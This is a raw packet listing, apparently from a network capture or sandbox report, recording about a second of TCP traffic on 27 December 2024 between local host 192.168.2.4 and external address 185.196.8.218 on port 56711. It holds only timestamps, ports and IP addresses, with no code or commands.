Dec 27, 2024 09:09:13.684539080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.844672918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.844687939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.844779015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.845037937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.845168114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.845366001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.845611095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.845706940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.845762968 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.847398043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.847414970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.847424984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.847438097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.847474098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.847529888 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.848680973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.848699093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.848802090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.849178076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.849189997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.849498034 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.849515915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.849924088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.850425005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.850436926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.850467920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.850485086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.851077080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.851176023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.851332903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.852354050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.852368116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.852442980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.852607012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.852758884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.853398085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.853461027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.853609085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.854142904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.854199886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.854314089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.854465008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.854976892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.855087042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.855333090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.855772972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.855874062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.856055021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.856545925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.856682062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.856856108 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.857362032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.857439041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.857517958 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.858139992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.858284950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.858901978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.858958960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.859021902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.859093904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.859675884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.859776020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.860071898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.860474110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.860580921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.860688925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.861247063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.861346006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.862005949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.862062931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.862102032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.862170935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.862852097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.862966061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.863019943 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.863692045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.863815069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.864394903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.864449024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.864486933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.864554882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.865195036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.865263939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.865339041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.865948915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.866050005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.866741896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.866801977 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.866867065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.866934061 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.867522001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.867587090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.868148088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.868309975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.868449926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.868505001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.869076014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.869215965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.869345903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.869930983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.870043039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.870114088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.870646954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.870764971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.870991945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.871469975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.871583939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.871911049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.872256041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.872278929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.872340918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.873034954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.873145103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.873847008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.873895884 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.873928070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.873987913 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.874607086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.874691010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.874883890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.875401974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.875544071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.876128912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.876245022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.876264095 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.876384974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.876966000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.877059937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.877180099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.877830982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.877921104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.878519058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.878561020 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.878629923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.878910065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.879328966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.879411936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.880072117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.880157948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.880203009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.880295992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.880862951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.880954027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.881510973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.881639004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.881799936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.881855965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.882404089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.882519960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.882858038 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.883230925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.883366108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.883985996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.884052992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.884077072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.884124041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.884774923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.884857893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.885541916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.885620117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.046761036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.046907902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.046967030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.047068119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.047238111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.047287941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.047882080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.048058033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.048108101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.048779964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.048793077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.048845053 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.049432039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.049446106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.049489975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.050091982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.050240993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.050332069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.051037073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.051228046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.051275969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.051852942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.052002907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.052051067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.052576065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.052747965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.052794933 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.053417921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.053438902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.053487062 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.053932905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.053946018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.053992987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.054219961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.054265976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.054307938 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.054985046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.055072069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.055129051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.055771112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.055808067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.056037903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.058609962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.058762074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.058811903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.059190035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059201956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059237957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.059688091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059699059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059720993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059734106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.059751034 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.059777975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.060452938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.060638905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.060679913 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.061279058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.061454058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.061503887 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.062036037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.062047958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.062105894 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.062972069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.062983990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.063054085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.063553095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.063688040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.063738108 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.064414024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.064433098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.064488888 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.064980030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.065092087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.065448046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.065459013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.065490961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.065526009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.066211939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.066224098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.066262960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.067234039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.067249060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.067291975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.067734003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.068195105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.068717003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.068727970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.068764925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.069067955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.069163084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.069894075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.069938898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.070101976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.070142031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.070749044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.070766926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.070817947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.073338032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.073367119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.073411942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.073734045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.073746920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.073813915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.074021101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.074033022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.074098110 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.074137926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.074150085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.074187994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.074635029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.075197935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.075354099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.075804949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.075819969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.075879097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.076493025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.076507092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.076569080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.077193022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.077466011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.077549934 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.077693939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.077816963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.077900887 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.078634977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.078660965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.078712940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.079310894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.079418898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.079682112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.080048084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.080163002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.080214024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.081106901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.081119061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.081191063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.081753016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.081765890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.081824064 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.082869053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.082882881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.082926035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.083662033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.083673954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.083704948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.083997965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.084306002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.084384918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.084804058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.084887028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.084930897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.085606098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.085627079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.085689068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.086318970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.086445093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.086500883 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.087141991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.134130955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.300606012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.300627947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.300703049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.300726891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.300838947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.300883055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.301523924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.301651001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.301740885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.302308083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.302395105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.302442074 CET	49731	56711	192.168.2.4	185.196.8.218
